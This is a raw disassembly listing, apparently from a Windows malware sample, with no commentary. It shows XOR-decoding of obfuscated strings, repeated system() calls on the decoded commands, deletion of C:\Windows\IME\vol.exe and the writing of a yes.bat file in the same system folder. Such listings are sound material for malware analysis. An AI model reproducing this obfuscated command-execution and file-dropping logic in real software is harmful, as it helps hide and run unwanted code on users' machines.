call fcn.1400e44b0
movdqa xmm0, xmmword [0x140100440]
movdqu xmmword [rbp + 0x30], xmm0
mov byte [rbp + 0x20], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x140071f3a
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140071f34
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140071f34
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
nop
mov rdx, qword [rbp + 0x58]
cmp rdx, 0x10
jb 0x140071f78
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140071f73
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140071f73
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
movdqa xmm0, xmmword [0x140100440]
movdqu xmmword [rbp + 0x50], xmm0
mov byte [rbp + 0x40], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x140071fc9
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140071fc4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140071fc4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x60], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x14007201d
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140072017
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140072017
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
nop
movups xmm0, xmmword [str.0123456789ABCDEF]
movups xmmword [rbp], xmm0
movzx eax, byte [0x1400f99e0]
mov byte [rbp + 0x10], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov rbx, r12
mov qword [rsp + 0x50], rbx
mov edi, reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x58], rdi
mov byte [rsp + 0x40], bl
mov dword [rsp + 0x38], 0x736
mov rsi, r14
nop dword [rax + rax]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0xf
movzx r9d, byte [rbp + rax]
cmp rbx, rdi
jae 0x140072097
lea rax, [rbx + 1]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x40]
cmp rdi, 0x10
cmovae rax, qword [rsp + 0x40]
mov byte [rax + rbx], r9b
mov byte [rax + rbx + 1], 0
jmp 0x1400720a8
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rsp + 0x40]
call fcn.140012d50
sub rsi, 1
je 0x1400720ba
mov rdi, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x50]
jmp 0x140072060
movups xmm0, xmmword [str.0123456789ABCDEF]
movups xmmword [rbp], xmm0
movzx eax, byte [0x1400f99e0]
mov byte [rbp + 0x10], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x60], 0
mov dword [rsp + 0x38], 0xf36
mov rbx, r14
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0xf
movzx r9d, byte [rbp + rax]
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x78]
cmp rcx, rdx
jae 0x140072136
lea rax, [rcx + 1]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x60]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0x60]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x140072147
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rsp + 0x60]
call fcn.140012d50
sub rbx, 1
jne 0x1400720f5
movups xmm0, xmmword [0x1400ffef8]
movups xmmword [rbp - 0x80], xmm0
movsd xmm0, qword [0x1400fff08]
movsd qword [rbp - 0x70], xmm0
movzx eax, word [0x1400fff10]
mov word [rbp - 0x68], ax
movzx eax, byte [0x1400fff12]
mov byte [rbp - 0x66], al
mov r8d, r12d
cmp r13d, 2
jl 0x1400722d1
movdqa xmm5, xmmword [0x140100490]
movdqa xmm4, xmmword [0x140100810]
movd xmm6, r15d
movdqa xmm7, xmmword [0x1401004b0]
mov eax, Ordinal_33
movd xmm8, eax
movdqa xmm0, xmmword [0x1401004f0]
movdqa xmmword [rbp], xmm0
lea rcx, [rbp - 0x7c]
mov edx, dword [rbp]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400721c2
cmp r8d, 0x1b
jge 0x140072313
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x1400722e0
lea r8, [rsp + 0x60]
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x40]
call fcn.14005f7c0
nop
mov r8d, 1
lea rdx, [0x1400fe4ac]
mov rcx, rax
call fcn.140012b80
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x50], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov dword [rsp + 0x38], 0x1f36
lea r9, [rsp + 0x40]
lea r8, [rbp + 0x40]
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x20]
call fcn.1400607b0
lea rcx, [rbp + 0x20]
cmp qword [rbp + 0x38], 0x10
cmovae rcx, qword [rbp + 0x20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x1400723ca
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400723c5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400723c5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
movdqa xmm0, xmmword [0x140100440]
movdqu xmmword [rbp + 0x30], xmm0
mov byte [rbp + 0x20], 0
mov rdx, qword [rbp + 0x58]
cmp rdx, 0x10
jb 0x14007241a
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140072414
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140072414
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x140072458
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140072453
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140072453
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
movdqa xmm0, xmmword [0x140100440]
movdqu xmmword [rbp - 0x30], xmm0
mov byte [rbp - 0x40], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x1400724a9
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400724a4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400724a4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x60], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x1400724fd
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400724f7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400724f7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
nop
movups xmm0, xmmword [str.0123456789ABCDEF]
movups xmmword [rbp], xmm0
movzx eax, byte [0x1400f99e0]
mov byte [rbp + 0x10], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov rbx, r12
mov qword [rsp + 0x50], rbx
mov edi, reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x58], rdi
mov byte [rsp + 0x40], bl
mov dword [rsp + 0x38], 0x7336
mov rsi, r14
nop dword [rax + rax]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0xf
movzx r9d, byte [rbp + rax]
cmp rbx, rdi
jae 0x140072577
lea rax, [rbx + 1]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x40]
cmp rdi, 0x10
cmovae rax, qword [rsp + 0x40]
mov byte [rax + rbx], r9b
mov byte [rax + rbx + 1], 0
jmp 0x140072588
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rsp + 0x40]
call fcn.140012d50
sub rsi, 1
je 0x14007259a
mov rdi, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x50]
jmp 0x140072540
movups xmm0, xmmword [str.0123456789ABCDEF]
movups xmmword [rbp], xmm0
movzx eax, byte [0x1400f99e0]
mov byte [rbp + 0x10], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x60], 0
mov dword [rsp + 0x38], 0xf336
mov rbx, r14
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0xf
movzx r9d, byte [rbp + rax]
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x78]
cmp rcx, rdx
jae 0x140072616
lea rax, [rcx + 1]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x60]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0x60]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x140072627
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rsp + 0x60]
call fcn.140012d50
sub rbx, 1
jne 0x1400725d5
movups xmm0, xmmword [0x140100008]
movups xmmword [rbp - 0x80], xmm0
movsd xmm0, qword [0x140100018]
movsd qword [rbp - 0x70], xmm0
movzx eax, word [0x140100020]
mov word [rbp - 0x68], ax
movzx eax, byte [0x140100022]
mov byte [rbp - 0x66], al
mov r8d, r12d
cmp r13d, 2
jl 0x1400727b1
movdqa xmm5, xmmword [0x140100490]
movdqa xmm4, xmmword [0x140100810]
movd xmm6, r15d
movdqa xmm7, xmmword [0x1401004b0]
mov eax, Ordinal_33
movd xmm8, eax
movdqa xmm0, xmmword [0x1401004f0]
movdqa xmmword [rbp], xmm0
lea rcx, [rbp - 0x7c]
mov edx, dword [rbp]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400726a2
cmp r8d, 0x1b
jge 0x1400727f3
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x1400727c0
lea r8, [rsp + 0x60]
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x40]
call fcn.14005f7c0
nop
mov r8d, 1
lea rdx, [0x1400fe4ac]
mov rcx, rax
call fcn.140012b80
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x50], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov dword [rsp + 0x38], 0x1f336
lea r9, [rsp + 0x40]
lea r8, [rbp + 0x40]
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x20]
call fcn.1400607b0
lea rcx, [rbp + 0x20]
cmp qword [rbp + 0x38], 0x10
cmovae rcx, qword [rbp + 0x20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x1400728aa
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400728a5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400728a5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
movdqa xmm0, xmmword [0x140100440]
movdqu xmmword [rbp + 0x30], xmm0
mov byte [rbp + 0x20], 0
mov rdx, qword [rbp + 0x58]
cmp rdx, 0x10
jb 0x1400728fa
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400728f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400728f4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x140072938
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140072933
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140072933
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
movdqa xmm0, xmmword [0x140100440]
movdqu xmmword [rbp - 0x30], xmm0
mov byte [rbp - 0x40], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x140072989
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140072984
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140072984
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x60], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x1400729dd
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400729d7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400729d7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
nop
movups xmm0, xmmword [str.0123456789ABCDEF]
movups xmmword [rbp], xmm0
movzx eax, byte [0x1400f99e0]
mov byte [rbp + 0x10], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov rbx, r12
mov qword [rsp + 0x50], rbx
mov edi, reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x58], rdi
mov byte [rsp + 0x40], bl
mov dword [rsp + 0x38], 0x73336
mov rsi, r14
nop dword [rax + rax]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0xf
movzx r9d, byte [rbp + rax]
cmp rbx, rdi
jae 0x140072a57
lea rax, [rbx + 1]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x40]
cmp rdi, 0x10
cmovae rax, qword [rsp + 0x40]
mov byte [rax + rbx], r9b
mov byte [rax + rbx + 1], 0
jmp 0x140072a68
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rsp + 0x40]
call fcn.140012d50
sub rsi, 1
je 0x140072a7a
mov rdi, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x50]
jmp 0x140072a20
movups xmm0, xmmword [str.0123456789ABCDEF]
movups xmmword [rbp], xmm0
movzx eax, byte [0x1400f99e0]
mov byte [rbp + 0x10], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x60], 0
mov dword [rsp + 0x38], 0xf3336
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0xf
movzx r9d, byte [rbp + rax]
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x78]
cmp rcx, rdx
jae 0x140072af3
lea rax, [rcx + 1]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x60]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0x60]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x140072b04
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rsp + 0x60]
call fcn.140012d50
sub r14, 1
jne 0x140072ab2
movups xmm0, xmmword [0x1400ffaa8]
movups xmmword [rbp - 0x80], xmm0
movsd xmm0, qword [0x1400ffab8]
movsd qword [rbp - 0x70], xmm0
movzx eax, word [0x1400ffac0]
mov word [rbp - 0x68], ax
movzx eax, byte [0x1400ffac2]
mov byte [rbp - 0x66], al
mov r8d, r12d
cmp r13d, 2
jl 0x140072c8f
movdqa xmm5, xmmword [0x140100490]
movdqa xmm4, xmmword [0x140100810]
movd xmm6, r15d
movdqa xmm7, xmmword [0x1401004b0]
mov eax, Ordinal_33
movd xmm8, eax
movdqa xmm0, xmmword [0x1401004f0]
movdqa xmmword [rbp], xmm0
lea rcx, [rbp - 0x7c]
mov edx, dword [rbp]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140072b80
cmp r8d, 0x1b
jge 0x140072cd3
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x140072ca0
lea r8, [rsp + 0x60]
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x40]
call fcn.14005f7c0
nop
mov r8d, 1
lea rdx, [0x1400fe4ac]
mov rcx, rax
call fcn.140012b80
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x50], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov dword [rsp + 0x38], 0x1f3336
lea r9, [rsp + 0x40]
lea r8, [rbp + 0x40]
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x20]
call fcn.1400607b0
lea rcx, [rbp + 0x20]
cmp qword [rbp + 0x38], 0x10
cmovae rcx, qword [rbp + 0x20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x140072d8a
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140072d85
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140072d85
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
movdqa xmm0, xmmword [0x140100440]
movdqu xmmword [rbp + 0x30], xmm0
mov byte [rbp + 0x20], 0
mov rdx, qword [rbp + 0x58]
cmp rdx, 0x10
jb 0x140072dda
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140072dd4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140072dd4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x140072e18
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140072e13
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140072e13
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
movdqa xmm0, xmmword [0x140100440]
movdqu xmmword [rbp - 0x30], xmm0
mov byte [rbp - 0x40], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x140072e69
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140072e64
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140072e64
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x60], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140072ebc
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140072eb7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140072eb7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
lea rcx, str.C:WindowsIME_vol.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0xb0], rax
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], r12
lea r8d, [rax + 6]
lea rdx, str.451747
lea rcx, [rbp + 0x20]
call fcn.140012c50
lea r8, [rbp + 0x20]
lea rdx, [rbp + 0xa0]
lea rcx, [0x140117ff0]
call fcn.14008dca0
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x120]
call fcn.1400e5878
mov r8d, reloc.WLDAP32.dll_Ordinal_32
lea rdx, str.C:WindowsIMEyes.bat
lea rcx, [rbp + 0x120]
call fcn.14007e3b0
nop
mov r8, qword [rbp + 0xa8]
mov rdx, qword [rbp + 0xa0]
sub r8, rdx
lea rcx, [rbp + 0x120]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x128]
call fcn.14005ec50
test rax, rax
jne 0x140072f93
mov rax, qword [rbp + 0x120]
